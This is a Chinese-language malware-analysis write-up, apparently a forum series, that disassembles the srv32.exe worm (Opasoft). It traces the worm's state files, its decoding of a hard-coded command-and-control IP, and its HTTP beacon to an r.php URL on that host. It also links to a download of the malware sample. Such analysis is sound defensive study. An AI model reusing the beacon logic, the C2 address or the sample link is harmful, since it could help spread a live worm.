CODE:004014CA NumberOfBytesRead= dword ptr -8
CODE:004014CA lpBuffer = dword ptr 8
CODE:004014CA
CODE:004014CA enter 8, 0
CODE:004014CE push 0 ; hTemplateFile
CODE:004014D0 push 0 ; dwFlagsAndAttributes
CODE:004014D2 push 3 ; OPEN_EXISTING
CODE:004014D4 push 0 ; lpSecurityAttributes
CODE:004014D6 push 0 ; dwShareMode
CODE:004014D8 push 0C0000000h ; dwDesiredAccess
CODE:004014DD push offset aSrv32tsk ; lpFileName = "Srv32tsk"
CODE:004014E2 call CreateFileA
CODE:004014E7 cmp eax, 0FFFFFFFFh
CODE:004014EA jz short locret_40152D ; 打开文件失败则退出
打开Windows目录下的文件srv32tsk，到CreateFileA会失败，我们可以先建一个文件
srv32tsk，然后看它对文件做了些什么操作
CODE:004014EC mov esi, eax
CODE:004014EE lea eax, [ebp-8]
CODE:004014F1 push 0 ; lpOverlapped
CODE:004014F3 push eax ; lpNumberOfBytesRead
CODE:004014F4 push 824h ; nNumberOfBytesToRead = 2084B
CODE:004014F9 push dword ptr [ebp+8] ; lpBuffer
CODE:004014FC push esi ; hFile
CODE:004014FD call ReadFile
CODE:00401502 cmp dword ptr [ebp-8], 2Ch ; 读了文件srv32tsk的字节数和44比较
CODE:00401506 jb short loc_401522 ; 小于44个字节退出
CODE:00401508 mov edx, [ebp+8] ; 读取的内容
CODE:0040150B mov eax, [edx+20h] ; 文件srv32tsk的第32个字节开始的DWORD值
CODE:0040150E shl eax, 3
CODE:00401511 add eax, 24h
CODE:00401514 cmp eax, [ebp-8] ; 把上面的DWORD值乘以8加上24后和文件大小比较
CODE:00401517 jnz short loc_401522
CODE:00401519 cmp byte ptr [edx], 0 ; 判断文件的第一个字节是否为0
CODE:0040151C jz short loc_401522
CODE:0040151E mov eax, esi
CODE:00401520 jmp short locret_40152D
CODE:00401522 ; ///////////////////////////////////////////////////////////////////////////
CODE:00401522
CODE:00401522 loc_401522:
CODE:00401522 push esi ; hObject
CODE:00401523 call CloseHandle
CODE:00401528 mov eax, 0FFFFFFFFh
CODE:0040152D
CODE:0040152D locret_40152D:
CODE:0040152D leave
CODE:0040152E retn 4
CODE:0040152E sub_4014CA endp
返回到函数sub_401575：
CODE:0040158B cmp eax, 0FFFFFFFFh
CODE:0040158E jz short loc_4015E1 ; 打开文件srv32tsk失败则退出并返回0
CODE:00401590 mov esi, eax
CODE:00401592 mov [ebp+var_4], 1
CODE:00401599 cmp ds:dword_406593, 0 ; 从文件srv32tsk开始的第4个DWORD值
CODE:004015A0 jz short loc_4015AA
CODE:004015A2 push esi ; hObject
CODE:004015A3 call CloseHandle ; 关闭文件
CODE:004015A8 jmp short loc_4015E1 ; 退出
CODE:004015AA ; ///////////////////////////////////////////////////////////////////////////
CODE:004015AA
CODE:004015AA loc_4015AA: ; CODE XREF: sub_401575+2Bj
CODE:004015AA cmp ds:dword_40658B, 0 ; 从文件开始的第2个DWORD值
CODE:004015B1 jz short loc_4015D9
CODE:004015B3
CODE:004015B3 loc_4015B3:
CODE:004015B3 call sub_40171C
CODE:004015B8 mov ds:dword_406593, 1 ; 从文件srv32tsk开始的第4个DWORD值
CODE:004015C2 mov ds:dword_40658B, 0 ; 从文件srv32tsk开始的第2个DWORD值
CODE:004015CC push offset dword_406587
CODE:004015D1 push esi
CODE:004015D2 call sub_401531 ; 写文件srv32tsk
CODE:004015D7 jmp short loc_4015E1
CODE:004015D9 ; ///////////////////////////////////////////////////////////////////////////
CODE:004015D9
CODE:004015D9 loc_4015D9:
CODE:004015D9 inc ds:dword_40658F ; 从文件srv32tsk开始的第3个DWORD值
CODE:004015DF jmp short loc_4015B3
CODE:004015E1 ; ///////////////////////////////////////////////////////////////////////////
CODE:004015E1
CODE:004015E1 loc_4015E1:
CODE:004015E1 mov eax, [ebp+var_4]
CODE:004015E4 pop esi
CODE:004015E5 leave
CODE:004015E6 retn
CODE:004015E6 sub_401575 endp
文件srv32tsk打开失败的话直接退出，如果读文件成功，比较从文件开始读的第4个DWORD
值是否为0，不等于0关闭文件退出此函数，等于0的话比较第2个DWORD值是否为0，如果第
2个DWORD值不为0的话调用sub_40171C，然后又调用sub_401531写文件srv32tsk。
文件srv32tsk的头部的结构大概是这样的
struct tagSRV32TSK_HEAD
{
DWORD dword_406587;
DWORD dword_40658B;
DWORD dword_40658F;
DWORD dword_406593;
DWORD dword_406597;
DWORD dword_40659B;
BYTE[8] unk_40659F;
DWORD dword_4065A7;
};
这一段代码里调用了一个函数sub_40171C:
CODE:0040171C sub_40171C proc near
CODE:0040171C mov eax, ds:dword_40658F ; 从文件srv32tsk开始的第3个DWORD值
CODE:00401721 rcl eax, 0Dh
CODE:00401724 rcl edx, 1
CODE:00401726 rcl eax, 1
CODE:00401728 rcl edx, 1
CODE:0040172A rcl eax, 1
CODE:0040172C rcl edx, 1
CODE:0040172E rcl eax, 1
CODE:00401730 rcl edx, 1
CODE:00401732 rcl eax, 1
CODE:00401734 rcl edx, 4
CODE:00401737 rcl eax, 1
CODE:00401739 rcl edx, 1
CODE:0040173B rcl eax, 1
CODE:0040173D rcl edx, 3
CODE:00401740 rcl eax, 1
CODE:00401742 rcl edx, 1
CODE:00401744 rcl eax, 1
CODE:00401746 rcl edx, 1
CODE:00401748 rcl eax, 1
CODE:0040174A rcl edx, 2
CODE:0040174D rcl eax, 1
CODE:0040174F rcl edx, 1
CODE:00401751 rcl eax, 1
CODE:00401753 rcl edx, 1
CODE:00401755 rcl eax, 1
CODE:00401757 rcl edx, 1
CODE:00401759 rcl eax, 1
CODE:0040175B rcl edx, 1
CODE:0040175D rcl eax, 1
CODE:0040175F rcl edx, 1
CODE:00401761 rcl eax, 1
CODE:00401763 rcl edx, 1
CODE:00401765 rcl eax, 1
CODE:00401767 rcl edx, 2
CODE:0040176A rcl eax, 1
CODE:0040176C rcl edx, 1
CODE:0040176E rcl eax, 1
CODE:00401770 rcl edx, 1
CODE:00401772 rcl eax, 1
CODE:00401774 rcl edx, 6
CODE:00401777 and edx, 0F8CEFEE0h
CODE:0040177D bswap edx
CODE:0040177F mov ds:dword_406597, edx ; 文件srv32tsk的第5个DW值
CODE:00401785 xor edx, edx
CODE:00401787 mov ds:dword_40659B, edx ; 文件srv32tsk的第6个DW值
CODE:0040178D retn
CODE:0040178D sub_40171C endp
对文件srv32tsk操作完后返回到sub_40123E
CODE:004012CD test eax, eax ; 如果打开文件srv32tsk出错,eax == 0
CODE:004012CF jnz short loc_4012E5
CODE:004012D1 call sub_40148D
CODE:004012D6 push 0FFFFFFFFh ; dwMilliseconds = INFINITE
CODE:004012D8 push ds:hHandle ; hHandle
CODE:004012DE call WaitForSingleObject
CODE:004012E3 jmp short loc_4012C8
现在还有一个会频繁执行的函数sub_40148D
CODE:0040148D sub_40148D proc near
CODE:0040148D cmp ds:ThreadId, 0
CODE:00401494
CODE:00401494 loc_401494:
CODE:00401494 jnz short locret_4014C9
CODE:00401496 cmp ds:hHandle, 0FFFFFFFFh
CODE:0040149D jz short loc_4014AA
CODE:0040149F push ds:hHandle ; hObject
CODE:004014A5 call CloseHandle
CODE:004014AA
CODE:004014AA loc_4014AA:
CODE:004014AA push offset ThreadId ; lpThreadId
CODE:004014AF push 0 ; dwCreationFlags
CODE:004014B1 push 0 ; lpParameter
CODE:004014B3 push 401DB0h ; lpStartAddress
CODE:004014B8 push 2000h ; dwStackSize
CODE:004014BD push 0 ; lpThreadAttributes
CODE:004014BF call CreateThread
CODE:004014C4 mov ds:hHandle, eax
CODE:004014C9
CODE:004014C9 locret_4014C9:
CODE:004014C9 retn
CODE:004014C9 sub_40148D endp
创建了一个线程（^_^，到这里才刚刚开始噢！），肯定不会干什么好事，下次
我们再详细分析这个线程。
到这里有个2问题：
1. 由函数sub_4033E7算出的内存数据做何用？
2. 文件srv32Res,sccss何srv32tsk做何用？
srv32样本附件：http://bbs.pediy.com/upload/2005/4/files/srv32.rar_724.rar
================
幕后通讯篇
文件名称：srv32.exe
蠕虫名称：Net-Worm.Win32.Opasoft.s
工具： IDA 4.5.1, SoftICE3.1
上次我们说到在函数sub_40148D里创建了一个线程，现在我们看看这个线程到底
在作什么。
CODE:0040148D sub_40148D proc near
...
CODE:004014AA loc_4014AA:
CODE:004014AA push offset ThreadId ; lpThreadId
CODE:004014AF push 0 ; dwCreationFlags
CODE:004014B1 push 0 ; lpParameter
CODE:004014B3 push 401DB0h ; lpStartAddress
CODE:004014B8 push 2000h ; dwStackSize
CODE:004014BD push 0 ; lpThreadAttributes
CODE:004014BF call CreateThread
CODE:004014C4 mov ds:hHandle, eax
CODE:004014C9
CODE:004014C9 locret_4014C9:
CODE:004014C9 retn
CODE:004014C9 sub_40148D endp
用IDA查看该线程的代码如下：
CODE:00401DB0 ; DWORD __stdcall StartAddress(LPVOID)
CODE:00401DB0 StartAddress proc near
CODE:00401DB0
CODE:00401DB0 dwConnectedState= dword ptr -0A68h
CODE:00401DB0 var_A64 = dword ptr -0A64h
CODE:00401DB0 var_A60 = dword ptr -0A60h
CODE:00401DB0 var_A5C = dword ptr -0A5Ch
CODE:00401DB0 var_A58 = dword ptr -0A58h
CODE:00401DB0 NumberOfBytesWritten= dword ptr -0A54h
CODE:00401DB0 lpBuffer = dword ptr -0A4Ch
CODE:00401DB0 hInternet = dword ptr -0A48h
CODE:00401DB0 var_A44 = dword ptr -0A44h
CODE:00401DB0 pszUrl = dword ptr -944h
CODE:00401DB0 Buffer = dword ptr -844h
CODE:00401DB0 var_840 = dword ptr -840h
CODE:00401DB0 var_83C = dword ptr -83Ch
CODE:00401DB0 var_838 = dword ptr -838h
CODE:00401DB0 var_834 = dword ptr -834h
CODE:00401DB0 var_830 = dword ptr -830h
CODE:00401DB0 var_82C = dword ptr -82Ch
CODE:00401DB0 var_828 = dword ptr -828h
CODE:00401DB0 var_81C = dword ptr -81Ch
CODE:00401DB0 var_814 = dword ptr -814h
CODE:00401DB0 var_810 = dword ptr -810h
CODE:00401DB0 var_10 = dword ptr -10h
CODE:00401DB0 var_C = dword ptr -0Ch
CODE:00401DB0 hMem = dword ptr -8
CODE:00401DB0 pBufOfReadFile = dword ptr -4
CODE:00401DB0
CODE:00401DB0 enter 0A68h, 0
CODE:00401DB4 mov [ebp+pBufOfReadFile], 0
CODE:00401DBB
CODE:00401DBB loc_401DBB:
CODE:00401DBB lea eax, [ebp+dwConnectedState]
CODE:00401DC1 push 0
CODE:00401DC3 push eax ; lpdwFlags
CODE:00401DC4 call InternetGetConnectedState ; 获得本地网络连接状态
CODE:00401DC9 test eax, eax
CODE:00401DCB jnz short loc_401DD9
CODE:00401DCD
CODE:00401DCD loc_401DCD:
CODE:00401DCD push 2710h ; dwMilliseconds
CODE:00401DD2 call Sleep
CODE:00401DD7 jmp short loc_401DBB ; 睡10秒再工作
CODE:00401DD9 ; ///////////////////////////////////////////////////////////////////////////
可以看到该线程一开始就调用InternetGetConnectedState来判断当前的网络连接状态，
没有连接就休息10秒再试，有连接就跳转到以下代码：
CODE:00401DD9 loc_401DD9:
CODE:00401DD9 push 0
CODE:00401DDB push 0
CODE:00401DDD push 0
CODE:00401DDF push 0 ; INTERNET_OPEN_TYPE_PRECONFIG
CODE:00401DE1 push 0
CODE:00401DE3 call InternetOpenA ; 初始化工作
CODE:00401DE8 mov [ebp+hInternet], eax
CODE:00401DEE push 10000h ; 65536 Bytes
CODE:00401DF3 push 0 ; uFlags = LMEM_FIXED
CODE:00401DF5 call LocalAlloc ; 分配内存
CODE:00401DFA mov [ebp+lpBuffer], eax
CODE:00401E00 lea eax, [ebp+pBufOfReadFile]
CODE:00401E03 push eax
CODE:00401E04 call sub_401A39 ; 对文件hstlst操作
CODE:00401E09 test eax, eax
CODE:00401E0B jz short loc_401E29
InternetOpenA为调用WinInet.dll里的函数做一些准备工作，sub_401A39会
读Windows目录下文件hstlst的内容，并对读出的内容进行转换（pBufOfReadFile
指向地址就是转换后的内容的地址），第一次执行并没有这个文件，也没有跳转，其实看
名字也能猜到文件hstlst可能是一段IP地址（HostList嘛:)），其实文件hstlst不存
在的话在函数sub_401A39会用到一段数据如下：
g_IpAddr_40600C[] =
{
0xDF,0x11,0xD2,0xEE,
0x45,0xC6,0xFA,0xFA,
0xB2,0xBA,0xF0,0x67,
0x39,0x74,0x88,0xEE,
0x25,0xB1,0xD0,0x39,
0x87,0x1A,0x0C,0x55,
0x11,0x65,0xA7,0xDE,
0xA4,0x4F,0xDA,0x10
}
这段数据经过函数sub_401967转换成：
pBufOfReadFile[] =
{
0xE8,0xFE,0x0C,0x00,
0xF0,0x06,0x1E,0x00,
0x42,0xF6,0x29,0xC9,
0x3F,0xF7,0x87,0x30,
0x3F,0xF7,0x87,0x30,
0x40,0xB1,0xE2,0xC0,
0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00
}
一会会用到DWORD pBufOfReadFile[0xC] 就是0x3F,0xF7,0x87,0x30
到下面你就会发现它是一段IP地址,0x3087F73F = 3F.F7.87.30=63.247.135.48
继续走...
CODE:00401E0D mov edi, [ebp+pBufOfReadFile]
CODE:00401E10 mov ecx, eax
CODE:00401E12 shr ecx, 2
CODE:00401E15 xor eax, eax
CODE:00401E17 cld
CODE:00401E18 repne scasd
CODE:00401E1A sub edi, [ebp+pBufOfReadFile]
CODE:00401E1D shr edi, 2
CODE:00401E20 dec edi
CODE:00401E21 mov [ebp+var_C], edi
CODE:00401E24 cmp edi, 5
CODE:00401E27 jge short loc_401E2B ;程序到这里会跳转
CODE:00401E29 loc_401E29:
CODE:00401E29 jmp short loc_401DCD
CODE:00401E2B ; ///////////////////////////////////////////////////////////////////////////
CODE:00401E2B
CODE:00401E2B loc_401E2B:
CODE:00401E2B mov [ebp+var_A64], 0
CODE:00401E35 push 0 ; hTemplateFile
CODE:00401E37 push 0 ; dwFlagsAndAttributes
CODE:00401E39 push 3 ; OPEN_EXISTING
CODE:00401E3B push 0 ; lpSecurityAttributes
CODE:00401E3D push 3 ; dwShareMode
CODE:00401E3F push 80000000h ; dwDesiredAccess
CODE:00401E44 push offset aSccss ; lpFileName
CODE:00401E49 call CreateFileA
CODE:00401E4E cmp eax, 0FFFFFFFFh
CODE:00401E51 jz loc_401F91 ; 文件sccss不存在跳
噢，又用到了sccss文件，没有跳走...
CODE:00401F9B loc_401F9B:
CODE:00401F9B mov [ebp+var_10], 0
CODE:00401FA2 push 0 ; hTemplateFile
CODE:00401FA4 push 0 ; dwFlagsAndAttributes
CODE:00401FA6 push 3 ; OPEN_EXISTING
CODE:00401FA8 push 0 ; lpSecurityAttributes
CODE:00401FAA push 3 ; dwShareMode
CODE:00401FAC push 80000000h ; dwDesiredAccess
CODE:00401FB1 push offset aSrv32res ; lpFileName
CODE:00401FB6 call CreateFileA ; 打开文件srv32res
CODE:00401FBB cmp eax, 0FFFFFFFFh
CODE:00401FBE jnz short loc_401FD0 ; 打开文件srv32res成功则跳转
CODE:00401FC0 cmp ds:dword_406587, 0
CODE:00401FC7 jnz short loc_401FCB
CODE:00401FC9 jmp short loc_402034
哈哈，还记得第一篇吗，就是这两个文件sccss，srv32res，这次jmp到了402034
CODE:00402034 loc_402034:
CODE:00402034 lea eax, [ebp+pszUrlParam]
CODE:0040203A push offset aT0 ; "t=0"
CODE:0040203F push eax
CODE:00402040 call lstrcpy ; 把字符串"t=0"拷贝到var_A44
CODE:00402045 jmp short $+2 ; 到loc_402047
CODE:00402047
CODE:00402047 loc_402047:
CODE:00402047 mov eax, [ebp+pBufOfReadFile]
CODE:0040204A push dword ptr [eax+0Ch] ; in
CODE:0040204D call inet_ntoa ; 把IP地址转换成字符格式x.x.x.x
CODE:0040204D ; 第一次到这时为63.247.135.48
CODE:00402052 lea edi, [ebp+pszUrl]
CODE:00402058 lea ecx, [ebp+pszUrlParam]
CODE:0040205E push ecx ; string "t=0"
CODE:0040205F push eax ; Ip Address:63.247.135.48
CODE:00402060 push offset aHttpSR_php?S ; "http://%s/r.php?%s"
CODE:00402065 push edi
CODE:00402066 call wsprintfA ; 函数执行完后
CODE:00402066 ; pszUrl == *(edi)
CODE:00402066 ; = http://63.247.135.48/r.php?t=0
CODE:0040206B add esp, 10h ; __cdecl调用，由调用函数平衡堆栈
CODE:0040206E lea eax, [ebp+NumberOfBytesWritten]
看这两句
mov eax,[ebp+pBufOfReadFile]
push dword ptr [eax+0ch]
那个push的就是(DWORD) pBufOfReadFile[0xC]，然后调用inet_ntoa把IP地址转换
成了点分十进制的字符形式，最后得到了URL：http://63.247.135.48/r.php?t=0
CODE:00402074 push eax
CODE:00402075 push [ebp+lpBuffer]
CODE:0040207B push edi ; 把URL入栈
CODE:0040207C push [ebp+hInternet]
CODE:00402082 call sub_401CF0
URL入栈后调用了sub_401CF0，跟进去看看它搞什么鬼..
CODE:00401CF0 sub_401CF0 proc near
CODE:00401CF0
CODE:00401CF0 dwNumberOfByteRead= dword ptr -110h
CODE:00401CF0 hUrlFile = dword ptr -10Ch
CODE:00401CF0 dwInfoBufSize = dword ptr -108h
CODE:00401CF0 lpszInfoBuf = dword ptr -104h
CODE:00401CF0 var_dwReturnValue= dword ptr -4
CODE:00401CF0 arg_hInternet = dword ptr 8
CODE:00401CF0 arg_URL = dword ptr 0Ch
CODE:00401CF0 arg_lpszReadBuf = dword ptr 10h
CODE:00401CF0 arg_pdwUrlFileSize= dword ptr 14h
CODE:00401CF0 ;为了方便理解我已经把这个函数的参数和局部变量重新命了名
CODE:00401CF0 enter 110h, 0
CODE:00401CF4 push esi
CODE:00401CF5 mov [ebp+var_dwReturnValue], 0
CODE:00401CFC push 0 ; dwContext
CODE:00401CFE push 4000100h ; dwFlags ==
CODE:00401CFE ; INTERNET_FLAG_RAW_DATA │
CODE:00401CFE ; INTERNET_FLAG_PRAGMA_NOCACHE
CODE:00401D03 push 0 ; dwHeadersLength
CODE:00401D05 push 0 ; lpszHeaders
CODE:00401D07 push [ebp+arg_URL] ; lpszURL == http://63.247.135.48/r.php?t=0
CODE:00401D0A push [ebp+arg_hInternet] ; hInternet
CODE:00401D0D call InternetOpenUrlA
CODE:00401D12 test eax, eax
CODE:00401D14 jz loc_401DA8 ; InternetOpenUrlA失败则跳转
调用InternetOpenUrlA打开上面得到的那个URL：http://63.246.135.48/r.php?t=0
CODE:00401D1A mov [ebp+hUrlFile], eax
CODE:00401D20 mov [ebp+dwInfoBufSize], 100h
CODE:00401D2A lea eax, [ebp+lpszInfoBuf]
CODE:00401D30 lea edx, [ebp+dwInfoBufSize]
CODE:00401D36 push 0
CODE:00401D38 push edx
CODE:00401D39 push eax
CODE:00401D3A push 13h
CODE:00401D3C push [ebp+hUrlFile]
CODE:00401D42 call HttpQueryInfoA ; 返回的信息串为"200"
CODE:00401D42 ; 表示http请求成功,返回信息存储到lpszInfoBuf
CODE:00401D47 test eax, eax
CODE:00401D49 jz short loc_401D9D ; 函数HttpQueryInfo失败则跳转
调用HttpQueryInfo来判断HTTP服务器63.246.135.48是否正常响应，返回值为200
表示http请求成功，下面就会调用InternetReadFile去读文件。
CODE:00401D4B mov esi, [ebp+arg_pdwUrlFileSize]
CODE:00401D4E mov dword ptr [esi], 0
CODE:00401D54
CODE:00401D54 loc_401D54:
CODE:00401D54 mov eax, [ebp+arg_lpszReadBuf]
CODE:00401D57 add eax, [esi]
CODE:00401D59 mov ecx, 10000h
CODE:00401D5E sub ecx, [esi]
CODE:00401D60 lea edx, [ebp+dwNumberOfByteRead]
CODE:00401D66 push edx
CODE:00401D67 push ecx
CODE:00401D68 push eax
CODE:00401D69 push [ebp+hUrlFile]
CODE:00401D6F call InternetReadFile
CODE:00401D74 test eax, eax
CODE:00401D76 jz short loc_401D86 ; 失败则跳转
读r.php?t=0返回的内容，存到arg_lpszReadBuf(这是个指针参数，用于向上层函数返回
读取的内容)，读的字节数存到dwNumberOfByteRead，读出的内容为：
arg_lpszReadBuf[] = "/
t=8&p=1525FFFFFFFFFFFF&c=D0A58993CE0F2086053F57E8785F90C61B1F8E
20DB856D9554CC789EC0F28D7162D43FC75E50069F8793C546B88A9C4BD80D2
9241357C766626A77D951CD57CFF9794E84507F478A47EC525DAA963D70172A
D7CCC3348F3B06B598EA9A286187733F576EB82A6D43CACF4F56746595C01A6
005215EA0E0BE6D9896C25B5A9252F1949A0E964CC86EE6EA5B00F15AE9B386
15CC7594BD85B3318FDC8D905D4D5ED93AD43F211A008F6C0D0FDF702F21BA7
3349F58AA2F78F7FE0750D8C0D019846F4B63B1D5FD699F62A0D5471FC9A69B
643B20BE7A819679A89868C58723FDA8C0B503329C6B345C3D35FFA9DABC868
0BE5A90BBB8D9EE4C963619F1949EC6F8DF24E6DFC6E38CB7FB024D59E80358
08C6B054DEA68B0F8F05302C027DBC14A149C72F9F907AB3D909EDEF3085C9B
57A36D64DA14C23071AB5715BDEDDC6195D558D1310842BB33D180FF103EFF9
CF931D58E0BE5000095351DCE2D48000EAF73E84D1DD92A3B0C0CFA73179613
628E9A63E89DAB3A3C64D3573141C2D17A55064F988361669A4D0B9DAD6886E
5F32BFB2C40A7DFC8BF1457A512475D1E32B3799AF025547444C19CCE8B62BD
26EA0AF2350E421DB48EDAE22CF696946928788DD05FE044848E3FD61792192
DD6D2424DF48BC501E8200EE6AFEFF50C3B5488BAD36892C2763BCC6E7AB30C
F789426A745FD65B0C8ECE543EA0D6606D2220DEBE1D1E3D42C97FE5216BE06
A7B07DB2145491990A8AD977055A7540049AB776445ABC1F83FFF41247CD8AE
C388ECDBF562A1C9B2F850992A5AE4179915E63811D9BD958FA135E69F16B73
4E9FD4679FED9464E6EA753AFB5BB411F3AF28A7347F7B49C5A05C776AE1F9F
0FBDA29252FBF21F3F73CF888B599F0E6927B48725FA7C6A9871178EEAF6E42
BF0694A62838BDB2240DAE97F654A37F14872675A34CAA068A552AB3F53BCBB
4DD890E4788120AA3319EBE6BA4E98612EB93252D794C6BECB3464F48242F44
3B3EF0E077C15961E5406B821A626F755483A3FFA7A5E451E4CE96E149A0FBD
D&v=FEE9&d=0&w=&k=124F5"
字符串的最后这一段"&v=FEE9&d=0&w=&k=124F5",每次请求可能会不一样。
CODE:00401D78 mov eax, [ebp+dwNumberOfByteRead]
CODE:00401D7E test eax, eax
CODE:00401D80 jz short loc_401D8F
CODE:00401D82 add [esi], eax
CODE:00401D84 jmp short loc_401D54
CODE:00401D86 ; ///////////////////////////////////////////////////////////////////////////
CODE:00401D86
CODE:00401D86 loc_401D86:
CODE:00401D86 mov [ebp+var_dwReturnValue], 0FFFFFFFFh
CODE:00401D8D jmp short loc_401D9D
CODE:00401D8F ; ///////////////////////////////////////////////////////////////////////////
CODE:00401D8F
CODE:00401D8F loc_401D8F:
CODE:00401D8F lea eax, [ebp+lpszInfoBuf]
CODE:00401D95 call sub_4018D7 ; 把Internet返回的字符串"200"
CODE:00401D95 ; 转换成数字200(0xC8)
子函数sub_4018D7把Http请求返回的信息转换成数字200（十六进制0xC8）,并作为函数的返回值返回。
CODE:00401D9A mov [ebp+var_dwReturnValue], eax
CODE:00401D9D
CODE:00401D9D loc_401D9D:
CODE:00401D9D push [ebp+hUrlFile]
CODE:00401DA3 call InternetCloseHandle
CODE:00401DA8
CODE:00401DA8 loc_401DA8:
CODE:00401DA8 mov eax, [ebp+var_dwReturnValue] ; 函数最后返回值200(0xC8)
CODE:00401DAB pop esi
CODE:00401DAC leave
CODE:00401DAD retn 10h
CODE:00401DAD sub_401CF0 endp
函数返回：
CODE:00402082 call sub_401CF0
CODE:00402087 test eax, eax ;函数返回到这里
CODE:00402089 jz loc_402264 ; sub_401CF0调用失败则跳转
CODE:0040208F cmp eax, 0FFFFFFFFh
CODE:00402092 jz loc_402264
CODE:00402098 cmp eax, 0C8h
CODE:0040209D jnz loc_40228A
跳来跳去看的我眼都花了，今天先到这，记下各寄存器的值明天继续...
函数返回到402087时各寄存器的值为：
============================
EAX = 000000C8
EBX = 00000000
ECX = 0007E220
EDX = 00000000
ESI = 0040602C
EDI = 0076F670
EBP = 0076FFB4
ESP = 0076F54C
C 0
P 1
A 0
Z 1
S 0
T 0
D 0
O 0
I 1
============================
逆向分析笔记4
文件名称：srv32.exe
蠕虫名称：Net-Worm.Win32.Opasoft.s
工具： IDA 4.5.1, SoftICE3.1
上次我们跟到sub_401CF0里，srv32会读http://63.246.135.48/r.php?t=0
返回时寄存器EAX = 000000C8，代码如下：
CODE:00402082 call sub_401CF0
CODE:00402087 test eax, eax
CODE:00402089 jz loc_402264 ; sub_401CF0调用失败则跳转
CODE:0040208F cmp eax, 0FFFFFFFFh
CODE:00402092 jz loc_402264 ; 在sub_401CF0中如果InternetReadFile
CODE:00402092 ; 失败3次，则sleep一下再试
CODE:00402098 cmp eax, 0C8h ; http请求的返回值是否是200
CODE:0040209D jnz loc_40228A ; http请求失败退出线程
CODE:004020A3 mov eax, [ebp+lpReadUrlBuffer]
CODE:004020A9 add eax, [ebp+NumberOfBytesWritten]
CODE:004020AF mov byte ptr [eax], 0 ; 给字符串lpReadUrlFile加上结束符"/0"
CODE:004020B2 push [ebp+lpReadUrlBuffer]
CODE:004020B8 call CharUpperA ; 把字符串转大写
调用完sub_401CF0后会用
cmp eax,0FFFFFFFFh
cmp eax,0C8h
来判断返回值如果返回值等于0x0FFFFFFFF表示在函数sub_401CF0中调用InternetReadFile
时失败，如果等于0xC8(200)表示http请求成功，不等于表示请求失败会退出线程。
sub_401CF0调用成功后lpReadUrlBuffer指向了从http://63.246.135.48/r.php?t=0读
出的内容，然后有调用了CharUpperA把内容中的字母转换成大写。
CODE:004020BD lea eax, [ebp+Hex_K_Value]
CODE:004020C3 push eax
CODE:004020C4 push offset aK ; "K"
CODE:004020C9 push [ebp+lpReadUrlBuffer]
CODE:004020CF call sub_401C01
CODE:004020D4 test eax, eax
CODE:004020D6 jz loc_40228A ; 退出线程
CODE:004020DC lea ecx, [ebp+Hex_V_Value]
CODE:004020E2 push ecx
CODE:004020E3 push offset aV ; "V"
CODE:004020E8 push [ebp+lpReadUrlBuffer]
CODE:004020EE call sub_401C01
CODE:004020F3 test eax, eax
CODE:004020F5 jz loc_40228A ; 退出线程
CODE:004020FB lea ecx, [ebp+Hex_W_Value]
CODE:00402101 push ecx
CODE:00402102 push offset aW ; "W"
CODE:00402107 push [ebp+lpReadUrlBuffer]
CODE:0040210D call sub_401C01
CODE:00402112 test eax, eax
CODE:00402114 jz loc_40228A ; 退出线程
CODE:0040211A mov ecx, offset Hex_D_Value
CODE:0040211F push ecx
CODE:00402120 push offset aD_0 ; "D"
CODE:00402125 push [ebp+lpReadUrlBuffer]
CODE:0040212B call sub_401C01
CODE:00402130 test eax, eax
CODE:00402132 jz loc_40228A ; 退出线程
CODE:00402138 lea eax, [ebp+Hex_T_Value]
CODE:0040213E push eax
CODE:0040213F push offset aT ; "T"
CODE:00402144 push [ebp+lpReadUrlBuffer]
CODE:0040214A call sub_401C01
CODE:0040214F test eax, eax
CODE:00402151 jz loc_4021F0
CODE:00402157 lea eax, [ebp+Hex_P_Value]
CODE:0040215D push eax
CODE:0040215E push offset aP ; "P"
CODE:00402163 push [ebp+lpReadUrlBuffer]
CODE:00402169 call sub_401BA9
CODE:0040216E cmp eax, 8 ; 比较Hex_P_Value的字节数是否为8
CODE:00402171 jnz loc_40228A ; 退出线程
CODE:00402177 lea eax, [ebp+Hex_C_Value]
CODE:0040217D push eax
CODE:0040217E push offset aC ; "C"
CODE:00402183 push [ebp+lpReadUrlBuffer]
CODE:00402189 call sub_401BA9
CODE:0040218E test eax, 7
CODE:00402193 jnz loc_40228A ; 退出线程
CODE:00402199 shr eax, 3 ; Hex_C_Value的字节数除以8
CODE:0040219C jz loc_40228A ; 退出线程
CODE:004021A2 mov [ebp+dwCount], eax
CODE:004021A8 mov ds:byte_406285, 0
CODE:004021AF push offset aSrv32res ; lpFileName
CODE:004021B4 call DeleteFileA
CODE:004021B9 mov [ebp+var_828], 0
CODE:004021C3 mov [ebp+var_830], 1
CODE:004021CD
上面分别用参数"K","V","W","D","T"与lpReadUrlBuffer各调用了一次sub_401C01,
用参数"P","C"与lpReadUrlBuffer各调用了一次sub_401BA9,还记得上次从
http://63.246.135.48/r.php?t=0读出的内容吗？如下：
lpReadUrlBuffer[] =
arg_lpszReadBuf[] =
"t=8&p=1525FFFFFFFFFFFF&c=D0A58993CE0F2086053F57E8785F90C61B1F8E
20DB856D9554CC789EC0F28D7162D43FC75E50069F8793C546B88A9C4BD80D2
9241357C766626A77D951CD57CFF9794E84507F478A47EC525DAA963D70172A
D7CCC3348F3B06B598EA9A286187733F576EB82A6D43CACF4F56746595C01A6
005215EA0E0BE6D9896C25B5A9252F1949A0E964CC86EE6EA5B00F15AE9B386
15CC7594BD85B3318FDC8D905D4D5ED93AD43F211A008F6C0D0FDF702F21BA7
3349F58AA2F78F7FE0750D8C0D019846F4B63B1D5FD699F62A0D5471FC9A69B
643B20BE7A819679A89868C58723FDA8C0B503329C6B345C3D35FFA9DABC868
0BE5A90BBB8D9EE4C963619F1949EC6F8DF24E6DFC6E38CB7FB024D59E80358
08C6B054DEA68B0F8F05302C027DBC14A149C72F9F907AB3D909EDEF3085C9B
57A36D64DA14C23071AB5715BDEDDC6195D558D1310842BB33D180FF103EFF9
CF931D58E0BE5000095351DCE2D48000EAF73E84D1DD92A3B0C0CFA73179613
628E9A63E89DAB3A3C64D3573141C2D17A55064F988361669A4D0B9DAD6886E
5F32BFB2C40A7DFC8BF1457A512475D1E32B3799AF025547444C19CCE8B62BD
26EA0AF2350E421DB48EDAE22CF696946928788DD05FE044848E3FD61792192
DD6D2424DF48BC501E8200EE6AFEFF50C3B5488BAD36892C2763BCC6E7AB30C
F789426A745FD65B0C8ECE543EA0D6606D2220DEBE1D1E3D42C97FE5216BE06
